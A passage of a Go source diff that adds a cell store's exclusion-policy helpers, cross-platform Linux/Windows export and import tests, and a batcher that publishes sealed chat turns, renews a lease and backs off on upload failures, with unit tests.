strings.Join(lines, "\n") + "\n" +} + +// appendBlock adds a managed block, which is absent when it holds nothing. +func appendBlock(lines []string, tag string, paths []string) []string { + if len(paths) == 0 { + return lines + } + lines = append(lines, tag) + for _, path := range paths { + lines = append(lines, excludeWord+path) + } + return lines +} + +// isWithheld reports whether rel is one of the harness's withheld paths. +func (p policyFile) isWithheld(rel string) bool { return inRules(p.withheld, rel) } + +// isRebuilt reports whether rel is inside an install folder the harness leaves +// out. +func (p policyFile) isRebuilt(rel string) bool { return inRules(p.rebuilt, rel) } + +// isUnreadable reports whether rel is one of the paths set apart because this +// machine cannot read it. +func (p policyFile) isUnreadable(rel string) bool { return inRules(p.unreadable, rel) } + +// isHeld reports whether rel is a path whose name this machine cannot keep. +func (p policyFile) isHeld(rel string) bool { return inRules(p.held, rel) } + +// isLeftOut reports whether rel is a control directory or a path the person +// excluded: nothing there is sealed, so nothing there is scanned. +func (p policyFile) isLeftOut(rel string) bool { + first, _, _ := strings.Cut(rel, "/") + if runtime.GOOS == "windows" { + first = strings.ToLower(first) + } + return controlDirs[first] || inRules(p.userRules(), rel) || inRules(p.ignoredDirs, rel) +} + +func (p policyFile) userRules() []string { + var rules []string + for _, line := range append(append([]string(nil), p.user...), p.outside...) { + if rule, ok := strings.CutPrefix(strings.TrimSpace(line), excludeWord); ok { + rules = append(rules, strings.TrimSuffix(strings.TrimSpace(rule), "/")) + } + } + return rules +} + +// inRules is the engine's own test: a rule names a path or a subtree. +func inRules(rules []string, rel string) bool { + for _, rule := range rules { + if rel == rule || strings.HasPrefix(rel, rule+"/") { + return true + } + } + return false +} + +// write puts the file in dir, only when it differs. +func (p policyFile) write(dir string) error { + path := filepath.Join(dir, policyName) + want := p.String() + have, err := os.ReadFile(path) + if string(have) == want && (err == nil || want == "") { + return nil + } + if want == "" { + return ignoreMissing(os.Remove(path)) + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + return os.WriteFile(path, []byte(want), 0o644) +} + +func ignoreMissing(err error) error { + if errors.Is(err, os.ErrNotExist) { + return nil + } + return err +} + +// Withheld is the folder a seal of c captures and the paths in it that the +// guard keeps out of every seal because they hold secrets, as the last seal +// left them. A cell never screened has none. The paths are relative to the +// folder and slash-separated. +func (e Engine) Withheld(c cell.Cell) (tree string, paths []string, err error) { + p, err := readPolicyAt(e.policyDir(c)) + return e.tree(c), p.withheld, err +} + +// apart is every path set apart one by one, each with its default reason: what +// the record names so the next machine can read that it was left out. +func (p policyFile) apart() []Apart { + var out []Apart + for _, path := range p.unreadable { + out = append(out, Apart{Path: path, Reason: reasonUnreadable}) + } + for _, path := range p.held { + out = append(out, Apart{Path: path, Reason: reasonHeld}) + } + return out +} diff --git a/internal/cellstore/xos_test.go b/internal/cellstore/xos_test.go new file mode 100644 index 0000000000..6734d211c8 --- /dev/null +++ b/internal/cellstore/xos_test.go @@ -0,0 +1,241 @@ +package cellstore + +import ( + "bytes" + "context" + "encoding/json" + "os" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrowbin" + "github.com/Agent-Field/codeaf/internal/inventory" +) + +type xosManifest struct{ ID, Head string } + +var xosFiles = map[string][]byte{ + "nested/binary.dat": {0, 1, 2, 255, 13, 10, 0}, + "run.sh": []byte("#!/bin/bash\nprintf 'same bytes\\n'\n"), + "lines.txt": []byte("LF\nCRLF\r\nno final newline"), + cell.TranscriptPath: []byte("{\"role\":\"user\",\"content\":\"continue here\"}\n"), +} + +func xosDir(t *testing.T) string { + t.Helper() + dir := os.Getenv("CODEAF_XOS_DIR") + if dir == "" { + t.Skip("K4 needs CODEAF_XOS_DIR shared with the native Windows runner") + } + return dir +} + +func xosEngine(t *testing.T, c cell.Cell) (Engine, SyncEngine) { + t.Helper() + bin, configured, err := furrowbin.ConfiguredBinary() + if err != nil || !configured { + t.Fatalf("K4 needs an explicit real engine: %v", err) + } + e := Engine{Binary: bin, DataRoot: t.TempDir(), Transport: Spawn{Binary: bin}} + return e, e.Sync(SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)}, LedgerName("http://local.invalid", "k4")) +} + +func xosExport(t *testing.T, e SyncEngine, c cell.Cell, head, dir string) { + t.Helper() + out, err := e.Export(context.Background(), c, head) + if err != nil { + t.Fatal(err) + } + if len(out.Frames) == 0 { + t.Fatal("K4 exported no frames") + } + if err := os.MkdirAll(filepath.Join(dir, "frames"), 0700); err != nil { + t.Fatal(err) + } + for _, frame := range out.Frames { + data, err := os.ReadFile(frame.Path) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "frames", filepath.Base(frame.Path)), data, 0600); err != nil { + t.Fatal(err) + } + } + data, err := json.Marshal(xosManifest{c.ID, head}) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "manifest.json"), data, 0600); err != nil { + t.Fatal(err) + } + t.Logf("K4 exported %d frames, %d bytes, head %s", len(out.Frames), out.Bytes, head) +} + +func xosImport(t *testing.T, dir string) (Engine, SyncEngine, cell.Cell) { + t.Helper() + data, err := os.ReadFile(filepath.Join(dir, "manifest.json")) + if err != nil { + t.Fatal(err) + } + var m xosManifest + if err := json.Unmarshal(data, &m); err != nil { + t.Fatal(err) + } + c := cell.Cell{ID: m.ID, Root: t.TempDir()} + e, s := xosEngine(t, c) + // Import consumes its inbox; the shared fixture remains available for reruns. + inbox := t.TempDir() + // A take-back exports only changes: its ledger already holds the original + // objects. Reconstruct that Linux base before importing the Windows delta. + sources := []string{dir} + if filepath.Base(dir) == "return" { + sources = append([]string{filepath.Dir(dir)}, sources...) + } + for _, source := range sources { + entries, err := os.ReadDir(filepath.Join(source, "frames")) + if err != nil { + t.Fatal(err) + } + for _, entry := range entries { + data, err := os.ReadFile(filepath.Join(source, "frames", entry.Name())) + if err != nil { + t.Fatal(err) + } + _, objects, err := blobstore.Decode(data) + if err != nil { + t.Fatal(err) + } + for _, object := range objects { + if err := os.WriteFile(filepath.Join(inbox, object.RID), object.Bytes, 0600); err != nil { + t.Fatal(err) + } + } + } + } + if _, err := s.ImportPrimed(context.Background(), c, m.Head, inbox); err != nil { + t.Fatal(err) + } + if err := s.Materialize(context.Background(), c, m.Head); err != nil { + t.Fatal(err) + } + opened, err := cell.OpenAt(c.Root, c.ID) + if err != nil { + t.Fatal(err) + } + if opened.Meta().Class != cell.HostBound { + t.Fatal("K4 changed the chat's command access") + } + return e, s, opened +} + +func xosCheck(t *testing.T, c cell.Cell, changed bool) { + t.Helper() + for name, want := range xosFiles { + if changed && name == "lines.txt" { + want = append(append([]byte(nil), want...), []byte("\r\nWindows edit\n")...) + } + got, err := os.ReadFile(filepath.Join(c.Root, filepath.FromSlash(name))) + if err != nil || !bytes.Equal(got, want) { + t.Fatalf("K4 %s changed bytes: got %q want %q (%v)", name, got, want, err) + } + } +} + +// TestK4LinuxExport proves K4's Linux half through the real Go seal/export +// doors, including executable modes, binary bytes, transcript and refused names. +func TestK4LinuxExport(t *testing.T) { + dir := xosDir(t) + if runtime.GOOS != "linux" { + t.Skip("K4 source half runs on Linux") + } + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.HostBound}) + if err != nil { + t.Fatal(err) + } + for name, data := range xosFiles { + path := filepath.Join(c.Root, filepath.FromSlash(name)) + if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil { + t.Fatal(err) + } + mode := os.FileMode(0644) + if name == "run.sh" { + mode = 0755 + } + if err := os.WriteFile(path, data, mode); err != nil { + t.Fatal(err) + } + } + for _, name := range []string{"aux.c", "con", "a:b", "trailing.", "trailing ", "README", "readme"} { + if err := os.WriteFile(filepath.Join(c.Root, name), []byte(name), 0644); err != nil { + t.Fatal(err) + } + } + e, s := xosEngine(t, c) + seal, err := e.Seal(context.Background(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + xosExport(t, s, c, seal.Turn.ID, dir) + _, _, copy := xosImport(t, dir) + xosCheck(t, copy, false) +} + +// TestK4WindowsContinue proves K4 natively: import/materialize preserves every +// portable byte, names that NTFS refuses are explained, and an edit exports back. +func TestK4WindowsContinue(t *testing.T) { + dir := xosDir(t) + if runtime.GOOS != "windows" { + t.Skip("K4 middle half runs natively on Windows") + } + e, s, c := xosImport(t, dir) + xosCheck(t, c, false) + record, err := inventory.Open(c.Root) + if err != nil { + t.Fatal(err) + } + held := map[string]string{} + for _, item := range record.Snapshot().Withheld { + if strings.Contains(item.Path, "\\") { + t.Fatalf("K3 persisted a native path: %s", item.Path) + } + held[item.Path] = item.Reason + } + for _, name := range []string{"aux.c", "con", "a:b", "trailing.", "trailing "} { + if held[name] == "" { + t.Errorf("K4 missing not brought along reason for %q: %+v", name, held) + } + } + if held["README"] == "" && held["readme"] == "" { + t.Error("K4 missing case-collision reason") + } + if err := os.WriteFile(filepath.Join(c.Root, "lines.txt"), append(append([]byte(nil), xosFiles["lines.txt"]...), []byte("\r\nWindows edit\n")...), 0644); err != nil { + t.Fatal(err) + } + seal, err := e.Seal(context.Background(), c, TurnInfo{}) + if err != nil { + t.Fatal(err) + } + xosExport(t, s, c, seal.Turn.ID, filepath.Join(dir, "return")) +} + +// TestK4LinuxReturn proves K4's return half: Windows edits preserve the other +// bytes and the executable mode recorded before the first move. +func TestK4LinuxReturn(t *testing.T) { + dir := xosDir(t) + if runtime.GOOS != "linux" { + t.Skip("K4 final half runs on Linux") + } + _, _, c := xosImport(t, filepath.Join(dir, "return")) + xosCheck(t, c, true) + info, err := os.Stat(filepath.Join(c.Root, "run.sh")) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != 0755 { + t.Fatalf("K4 recorded executable mode became %o", info.Mode().Perm()) + } +} diff --git a/internal/cellsync/batch.go b/internal/cellsync/batch.go new file mode 100644 index 0000000000..efeae0b5ed --- /dev/null +++ b/internal/cellsync/batch.go @@ -0,0 +1,624 @@ +package cellsync + +import ( + "context" + "errors" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +const ( + // DefaultInterval is the first wait after a failed upload when the caller + // sets none; each further failure doubles it up to MaxBackoff. A successful + // upload is followed by no wait at all. + DefaultInterval = 5 * time.Second + // MaxBackoff caps the wait between flushes after failures. + MaxBackoff = 60 * time.Second +) + +// Publishing wraps the Stage 0 store: seal exactly as before, then note the +// turn. A seal never waits on the network. +type Publishing struct { + Inner cellstore.Store + Batcher *Batcher +} + +// Batcher publishes the newest sealed turn on an interval and keeps the lease +// alive while nothing is being published, each on its own loop so a slow upload +// cannot starve a heartbeat. +type Batcher struct { + Publisher *Publisher + Brancher Brancher + Driving *Driving + Interval time.Duration // default DefaultInterval + Info func() PublishInfo + OnFlush func(Flush) // telemetry hook + OnSuperseded func(Superseded) // the chat becomes a viewer (L7) + OnError func(error) // a refusal (see RefusalOf) the person should hear of, once per episode + Now func() time.Time // default time.Now; tests inject a fake clock + // Liveness, when set, is a watch socket that can vouch for the lease, so + // the heartbeat is sent only while it cannot. Nil beats every tick. + Liveness Liveness + // Sleep waits d or until ctx ends; tests inject a fake. Default is real time. + Sleep func(ctx context.Context, d time.Duration) error + + mu sync.Mutex // guards Driving, noted, stale, published, refusedSince and told; never held over the network + noted []string // heads of sealed turns not yet durable, oldest first + stale bool // the lease was lost and the orphans are not branched yet + published bool // a publish renewed the lease since the last heartbeat tick + beatSent uint32 // the pending count the directory last heard, from a beat or a publish + + refusedSince time.Time // when the present run of refusals began; zero while the relay is answering + told string // the kind of refusal the person has heard of in this run, so each is said once + + work wakeup // tells the flush loop a turn was noted, so an upload can start at once + idle wakeup // asks the flush loop to upload now: the agent stopped to wait for the person + freed wakeup // ends a halt: something the relay refused for has changed + + flushMu sync.Mutex // one flush, branch or close at a time + backoff time.Duration + failing bool // the last flush failed, so Idle must wait out the backoff +} + +// Superseded says another device continued the chat. +type Superseded struct { + // Branch is the new cell that holds this device's orphaned turns; empty + // when there were none and the chat simply becomes a viewer. + Branch string + // Turns is the number of local turns kept in Branch, known by the batcher + // that made it rather than read back through another directory request. + Turns uint32 + // By is the device that took the chat, from the directory's lease holder; + // empty when the directory could not be asked. + By string +} + +// Flush is what one publish sent. +type Flush struct { + Head string + Turns int + Frames int + Objects int + Bytes int64 +} + +// Seal implements cellstore.Store. +func (p *Publishing) Seal(ctx context.Context, c cell.Cell, info cellstore.TurnInfo) (cellstore.Sealed, error) { + s, err := p.Inner.Seal(ctx, c, info) + if err == nil { + p.Batcher.Note(s.Turn) + } + return s, err +} + +// Note records a sealed turn and wakes the flush loop. It only takes a lock and +// never waits, so it is safe on the seal path. It sends nothing itself: the turn +// goes up with the next publish, which is also what tells the directory it is no +// longer pending. +func (b *Batcher) Note(t cellstore.Turn) { + b.mu.Lock() + if t.ID == b.Driving.Head { + b.mu.Unlock() + return + } + if n := len(b.noted); n == 0 || b.noted[n-1] != t.ID { + b.noted = append(b.noted, t.ID) + } + b.mu.Unlock() + b.work.fire() +} + +// Idle says the agent has stopped and is waiting for the person, so the turns +// sealed since the last upload go up at once, even where an upload would +// otherwise wait (it does not cut a failure backoff short): nothing more is coming to share the request with, and this is the +// moment the person is likeliest to pick the chat up on another machine. It +// never waits, so it is safe to call from the turn's own goroutine. +func (b *Batcher) Idle() { b.idle.fire() } + +// Freed says something a refusal waited on has changed (space was freed on the +// relay, say), so a halted chat tries again now instead of waiting for a +// reopen. It never waits, so it is safe to call from any goroutine. +func (b *Batcher) Freed() { b.freed.fire() } + +// wakeup carries at most one pending request from a caller to a loop. The zero +// value is ready to use. +type wakeup struct { + once sync.Once + c chan struct{} +} + +func (w *wakeup) ch() chan struct{} { + w.once.Do(func() { w.c = make(chan struct{}, 1) }) + return w.c +} + +// fire leaves a request for the loop and never blocks; a request already +// waiting will be answered with the state this one would have seen. +func (w *wakeup) fire() { + select { + case w.ch() <- struct{}{}: + default: + } +} + +// Fence is the lease fence this device now holds, 0 before the cell has a record. +func (b *Batcher) Fence() uint64 { + d, _, _ := b.view() + return d.Fence +} + +// Pending is the number of noted turns that are not durable yet. +func (b *Batcher) Pending() uint32 { + b.mu.Lock() + defer b.mu.Unlock() + return uint32(len(b.noted)) +} + +// Run uploads noted turns and heartbeats each directory.HeartbeatEvery until +// ctx ends. Uploading is single-flight and latest-wins: every sealed turn asks +// for an upload at once, one upload is in flight at a time, and when it ends the +// newest head goes up if anything was sealed meanwhile. Coalescing comes from the +// upload's own duration, so a turn is durable within one upload of being sealed +// and a burst of N costs at most N uploads, usually two or three. Sealing is +// never held back: only the upload waits. +func (b *Batcher) Run(ctx context.Context) error { + var wg sync.WaitGroup + wg.Go(func() { b.beats(ctx) }) + b.flushes(ctx) + wg.Wait() + return ctx.Err() +} + +// flushes is the whole state machine: wait until a turn is noted, upload the +// newest, and rest only if the upload failed. A turn noted during an upload is +// still noted when it ends, so it goes straight up; a turn noted in a quiet +// period goes up at once. There is no separate rule for the first turn of a burst. +func (b *Batcher) flushes(ctx context.Context) { + for { + if b.awaitWork(ctx) != nil { + return + } + if err := b.rest(ctx, b.flush(ctx)); err != nil { + return + } + } +} + +// awaitWork returns once a turn is noted. An Idle with nothing noted has +// nothing to send, so it is dropped here and never shortens a later window. +func (b *Batcher) awaitWork(ctx context.Context) error { + for b.Pending() == 0 { + select { + case <-b.work.ch(): + case <-b.idle.ch(): + case <-ctx.Done(): + return ctx.Err() + } + } + return nil +} + +// rest waits out d, which is zero after a success. After a failure it waits the +// whole backoff whatever Idle says, and forgets an Idle +// that arrived meanwhile: when the relay is failing, a client that retried after +// every finished turn would be thousands of clients hammering it at once. The +// flush that ends the backoff sends what Idle wanted sent. +func (b *Batcher) rest(ctx context.Context, d time.Duration) error { + if d <= 0 { + return ctx.Err() + } + if !b.failing { + return b.nap(ctx, d, &b.idle) + } + err := b.nap(ctx, d, &b.freed) + select { + case <-b.idle.ch(): + default: + } + return err +} + +// beats renews the lease once every HeartbeatEvery in which nothing was +// published. A publish is proof of life and renews the lease itself, so a busy +// chat costs the relay no heartbeat at all. An idle one costs one per tick, +// unless a watch socket is vouching for the lease (Liveness): the socket's own +// pings are then the proof, and a beat is sent only when the count of pending +// turns has moved, which the directory shows, and at once when the socket stops +// vouching, so a dead socket is covered before the lease would have lapsed. +func (b *Batcher) beats(ctx context.Context) { + ctx, stop := context.WithCancel(ctx) + defer stop() + ticks, handled := b.ticker(ctx) + var held holding + defer held.release() + for { + held.follow(b.Liveness, b.view) + select { + case <-ticks: + b.tick(ctx, &held) + handled <- struct{}{} + case <-held.changes(): + b.socketMoved(ctx, &held) + case <-ctx.Done(): + return + } + } +} + +// ticker delivers one tick per HeartbeatEvery until ctx ends, and counts the +// next interval only once the caller says the tick was handled on handled, so +// a slow beat does not make two ticks run together. +func (b *Batcher) ticker(ctx context.Context) (ticks <-chan struct{}, handled chan<- struct{}) { + out, ack := make(chan struct{}), make(chan struct{}, 1) + go func() { + for b.sleeper()(ctx, directory.HeartbeatEvery) == nil { + select { + case out <- struct{}{}: + case <-ctx.Done(): + return + } + select { + case <-ack: + case <-ctx.Done(): + return + } + } + }() + return out, ack +} + +// tick is one heartbeat interval gone by. The lease needs a beat unless a +// publish renewed it or the socket vouches and the directory already knows the +// pending count. +func (b *Batcher) tick(ctx context.Context, held *holding) { + if b.takePublished() { + return + } + if !held.covers(b.view, b.toldPending) { + b.beat(ctx) + } +} + +// socketMoved is the socket's state changing. When it no longer vouches the +// lease is on its stored expiry alone, so the beat goes now, not at the tick. A +// socket that was not vouching before has not stopped, so it beats nothing here. +func (b *Batcher) socketMoved(ctx context.Context, held *holding) { + if held.lapsed() { + b.beat(ctx) + } +} + +// toldPending says whether n is what the directory last heard as pending. +func (b *Batcher) toldPending(n uint32) bool { + b.mu.Lock() + defer b.mu.Unlock() + return b.beatSent == n +} + +func (b *Batcher) tell(n uint32) { + b.mu.Lock() + defer b.mu.Unlock() + b.beatSent = n +} + +// takePublished says whether a publish renewed the lease since the last call, +// and forgets it. A publish just after one tick is skipped at the next tick and +// covered by the tick after, at most two ticks, which the TTL allows. +func (b *Batcher) takePublished() bool { + b.mu.Lock() + defer b.mu.Unlock() + was := b.published + b.published = false + return was +} + +// nap waits d, or until w is fired. The sleep is the injected one, so a fake +// clock governs it. It answers only ctx's own error: being woken is not one. +func (b *Batcher) nap(ctx context.Context, d time.Duration, w *wakeup) error { + sctx, cancel := context.WithCancel(ctx) + defer cancel() + over := make(chan struct{}) + woke := make(chan struct{}) + go func() { + defer close(woke) + select { + case <-w.ch(): + cancel() + case <-over: + } + }() + _ = b.sleeper()(sctx, d) + close(over) + <-woke + return ctx.Err() +} + +func (b *Batcher) sleeper() func(context.Context, time.Duration) error { + if b.Sleep != nil { + return b.Sleep + } + return realSleep +} + +func realSleep(ctx context.Context, d time.Duration) error { + t := time.NewTimer(d) + defer t.Stop() + select { + case <-t.C: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +// Close is the quit and lid-close path: flush, publish, release. +func (b *Batcher) Close(ctx context.Context) error { + b.flushMu.Lock() + defer b.flushMu.Unlock() + err := b.drain(ctx) + return errors.Join(err, b.release(ctx)) +} + +// release gives the lease up so another device can take over at once. A lease +// already lost has nothing to release. +func (b *Batcher) release(ctx context.Context) error { + d, _, stale := b.view() + if d.Fence == 0 || stale { + return nil + } + err := b.Publisher.Dir.Release(ctx, d.ID(), d.Fence) + if errors.Is(err, directory.ErrFenceStale) { + return nil + } + return err +} + +// flush publishes the newest noted turn and says how long to rest before the +// next try: nothing after a success, a doubled backoff after a failure. +func (b *Batcher) flush(ctx context.Context) time.Duration { + b.flushMu.Lock() + defer b.flushMu.Unlock() + return b.after(b.drain(ctx)) +} + +// after turns a flush's outcome into the next wait. A success needs none: the +// upload itself was the window, and whatever was sealed while it ran goes up +// next, newest head only. A failure that is not a refusal is the zero Refusal, +// which backs off and says nothing. +func (b *Batcher) after(err error) time.Duration { + interval := b.interval() + b.failing = err != nil + if err == nil { + b.backoff = interval + return 0 + } + r, _ := b.surface(err) + b.backoff = r.next(b.backoff, interval, err) + return b.backoff +} + +func (b *Batcher) interval() time.Duration { + if b.Interval > 0 { + return b.Interval + } + return DefaultInterval +} + +// drain publishes what is noted, or branches it when the lease is already lost. +// The caller holds flushMu. +func (b *Batcher) drain(ctx context.Context) error { + head, n := b.newest() + if n == 0 { + return nil + } + if _, _, stale := b.view(); stale { + return b.resolve(ctx) + } + return b.publish(ctx, head) +} + +func (b *Batcher) publish(ctx context.Context, head string) error { + d, _, _ := b.view() + ex, err := b.Publisher.publish(ctx, &d, head, b.info()) + if errors.Is(err, ErrSuperseded) { + b.setStale() + return b.resolve(ctx) + } + if err != nil { + return err + } + b.adopt(d) + b.setFlag(&b.published, true) + b.tell(0) // a publish always carries the newest turn, so nothing is pending + b.recovered() + turns := b.durable(head) + b.emit(Flush{Head: head, Turns: turns, Frames: len(ex.Frames), Objects: ex.Objects, Bytes: ex.Bytes}) + return nil +} + +// beat renews the lease and reports how many turns are not durable yet. +func (b *Batcher) beat(ctx context.Context) { + d, pending, stale := b.view() + if d.Fence == 0 || stale { + return + } + _, err := b.Publisher.Dir.Heartbeat(ctx, d.ID(), directory.Beat{Fence: d.Fence, Pending: pending}) + switch { + case err == nil: + b.tell(pending) + b.recovered() + case errors.Is(err, directory.ErrFenceStale): + b.lost(ctx, d) + default: + b.surface(err) + } +} + +// lost handles a heartbeat that found the lease of seen gone. It waits for any +// flush in flight, and does nothing if that flush already branched. When the +// branch fails the state stays stale and the next flush retries it. +func (b *Batcher) lost(ctx context.Context, seen Driving) { + b.flushMu.Lock() + defer b.flushMu.Unlock() + if now, _, _ := b.view(); now.ID() != seen.ID() || now.Fence != seen.Fence { + return + } + b.setStale() + _ = b.resolve(ctx) +} + +// resolve turns the orphaned turns into a branch, or, when there are none, +// just tells the caller the chat is now a viewer. The caller holds flushMu. +func (b *Batcher) resolve(ctx context.Context) error { + head, n := b.newest() + by := b.holder(ctx) + if n == 0 { + b.superseded(Superseded{By: by}) + return nil + } + id, err := b.branch(ctx, head, n) + if err != nil { + return err + } + b.durable(head) + b.clearStale() + b.superseded(Superseded{Branch: id, By: by, Turns: uint32(n)}) + return nil +} + +// holder names the device that now holds the lease, or "" when the directory +// cannot say; the answer only decorates a message, so it is never an error. +func (b *Batcher) holder(ctx context.Context) string { + d, _, _ := b.view() + v, err := b.Publisher.Dir.Cell(ctx, d.ID()) + if err != nil { + return "" + } + return v.Cell.Lease.Device +} + +// branch creates the cell that holds the orphaned turns; the Brancher uploads +// their objects first. +func (b *Batcher) branch(ctx context.Context, head string, turns int) (string, error) { + d, _, _ := b.view() + id, err := b.Brancher.Branch(ctx, &d, head, uint32(turns), b.info()) + if err != nil { + return "", err + } + b.adopt(d) + return id, nil +} + +// info is what the caller says about the cell now, with nothing pending: a +// publish always carries the newest turn. +func (b *Batcher) info() PublishInfo { + var in PublishInfo + if b.Info != nil { + in = b.Info() + } + in.Pending = 0 + return in +} + +// newest is the head of the newest noted turn and how many are noted. +func (b *Batcher) newest() (string, int) { + b.mu.Lock() + defer b.mu.Unlock() + if len(b.noted) == 0 { + return "", 0 + } + return b.noted[len(b.noted)-1], len(b.noted) +} + +// durable forgets the noted turns up to and including head, answers how many. +func (b *Batcher) durable(head string) int { + b.mu.Lock() + defer b.mu.Unlock() + for i, id := range b.noted { + if id == head { + b.noted = b.noted[i+1:] + return i + 1 + } + } + return 0 +} + +// view is a copy of the driving state, how many turns are pending, and whether +// the lease is known lost. +func (b *Batcher) view() (Driving, uint32, bool) { + b.mu.Lock() + defer b.mu.Unlock() + return *b.Driving, uint32(len(b.noted)), b.stale +} + +func (b *Batcher) adopt(d Driving) { + b.mu.Lock() + defer b.mu.Unlock() + *b.Driving = d +} + +func (b *Batcher) setStale() { b.setFlag(&b.stale, true) } +func (b *Batcher) clearStale() { b.setFlag(&b.stale, false) } + +func (b *Batcher) setFlag(flag *bool, v bool) { + b.mu.Lock() + defer b.mu.Unlock() + *flag = v +} + +// surface tells the person of a refusal when the run of refusals is news, and +// answers which refusal err was. +func (b *Batcher) surface(err error) (Refusal, bool) { + r, ok := RefusalOf(err) + if ok && b.news(r) && b.OnError != nil { + b.OnError(err) + } + return r, ok +} + +// news says whether the person should hear r now: it has lasted as long as its +// row asks to stay quiet, and this sentence has not been said in this run. It +// marks the sentence as said, so asking twice answers true once. +func (b *Batcher) news(r Refusal) bool { + b.mu.Lock() + defer b.mu.Unlock() + now := b.now() + if b.refusedSince.IsZero() { + b.refusedSince = now + } + if b.told == r.Is.Error() || now.Sub(b.refusedSince) < r.Quiet { + return false + } + b.told = r.Is.Error() + return true +} + +func (b *Batcher) now() time.Time { + if b.Now != nil { + return b.Now() + } + return time.Now() +} + +// recovered notes that the relay answered, so the next refusal is news again. +func (b *Batcher) recovered() { + b.mu.Lock() + defer b.mu.Unlock() + b.refusedSince, b.told = time.Time{}, "" +} + +func (b *Batcher) emit(f Flush) { + if b.OnFlush != nil { + b.OnFlush(f) + } +} + +func (b *Batcher) superseded(s Superseded) { + if b.OnSuperseded != nil { + b.OnSuperseded(s) + } +} diff --git a/internal/cellsync/batch_test.go b/internal/cellsync/batch_test.go new file mode 100644 index 0000000000..40edb765bc --- /dev/null +++ b/internal/cellsync/batch_test.go @@ -0,0 +1,459 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "runtime" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// fakeInner is a Stage 0 store that seals instantly in the fake engine, with +// no network at all. +type fakeInner struct { + r *rig + n int +} + +func (f *fakeInner) Seal(context.Context, cell.Cell, cellstore.TurnInfo) (cellstore.Sealed, error) { + f.n++ + head := f.r.seal(map[string]string{"a": fmt.Sprint(f.n)}) + return cellstore.Sealed{Turn: cellstore.Turn{ID: head}}, nil +} + +func TestPublishingNeverBlocksSeal(t *testing.T) { + r := newRig(t) + b := r.batcher() + entered, release := make(chan struct{}), make(chan struct{}) + var once sync.Once + r.store.set(nil, func(ctx context.Context) { // the store hangs + once.Do(func() { close(entered) }) + select { + case <-release: + case <-ctx.Done(): + } + }) + note(b, r.seal(map[string]string{"a": "one"})) + flushed := make(chan struct{}) + go func() { b.flush(context.Background()); close(flushed) }() + <-entered // a flush is now stuck inside the store + + sealed := make(chan error, 1) + p := &Publishing{Inner: &fakeInner{r: r}, Batcher: b} + go func() { _, err := p.Seal(context.Background(), r.cellA, cellstore.TurnInfo{}); sealed <- err }() + select { + case err := <-sealed: + if err != nil { + t.Fatal(err) + } + case <-time.After(5 * time.Second): + t.Fatal("a seal waited on the network") + } + if b.Pending() != 2 { + t.Fatalf("pending = %d, want 2", b.Pending()) + } + close(release) + <-flushed +} + +func TestBatcherPublishesNewestOnly(t *testing.T) { + r := newRig(t) + b := r.batcher() + var flushes []Flush + b.OnFlush = func(f Flush) { flushes = append(flushes, f) } + h1 := r.seal(map[string]string{"a": "1"}) + h2 := r.seal(map[string]string{"a": "2"}) + h3 := r.seal(map[string]string{"a": "3"}) + note(b, h1, h2, h3) + + if d := b.flush(context.Background()); d != 0 { + t.Fatalf("next flush in %v, want at once: the upload was the window", d) + } + if got := r.head(cellID); got.Head != h3 { + t.Fatalf("head %s, want the newest %s", got.Head, h3) + } + if len(flushes) != 1 || flushes[0].Head != h3 || flushes[0].Turns != 3 || flushes[0].Frames != 1 || flushes[0].Objects == 0 { + t.Fatalf("flushes = %+v", flushes) + } + if b.Pending() != 0 || r.puts() != 1 { + t.Fatalf("pending %d, puts %d", b.Pending(), r.puts()) + } +} + +func TestBatcherHeartbeatCarriesPending(t *testing.T) { + r := newRig(t) + b := r.batcher() + note(b, r.seal(map[string]string{"a": "1"})) + b.flush(context.Background()) + note(b, r.seal(map[string]string{"a": "2"}), r.seal(map[string]string{"a": "3"})) + + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + got := r.head(cellID) + if got.Lease.Pending != 2 || got.Lease.Expires <= r.clock.Now().UnixMilli() { + t.Fatalf("lease after heartbeat: %+v", got.Lease) + } +} + +func TestStoreFailureKeepsSealing(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + r.store.set(blobstore.ErrUnreachable, nil) + inner := &fakeInner{r: r} + p := &Publishing{Inner: inner, Batcher: b} + seal := func() { + if _, err := p.Seal(context.Background(), r.cellA, cellstore.TurnInfo{}); err != nil { + t.Fatalf("seal failed while the store was full: %v", err) + } + } + + var waits []time.Duration + for i := 0; i < 6; i++ { + seal() + waits = append(waits, b.flush(context.Background())) + } + s := time.Second + want := []time.Duration{10 * s, 20 * s, 40 * s, 60 * s, 60 * s, 60 * s} + for i := range want { + if waits[i] != want[i] { + t.Fatalf("backoff %v, want %v", waits, want) + } + } + if b.Pending() != 6 || r.head(cellID).Head != h1 { + t.Fatalf("pending %d, head %s", b.Pending(), r.head(cellID).Head) + } + + r.store.set(nil, nil) + if d := b.flush(context.Background()); d != 0 || b.Pending() != 0 { + t.Fatalf("after recovery: wait %v, pending %d", d, b.Pending()) + } +} + +func TestStoreDownDirectoryUp(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + r.store.set(blobstore.ErrUnreachable, nil) + h2, h3 := r.seal(map[string]string{"a": "1"}), r.seal(map[string]string{"a": "2"}) + note(b, h2, h3) + b.flush(context.Background()) + + for i := 0; 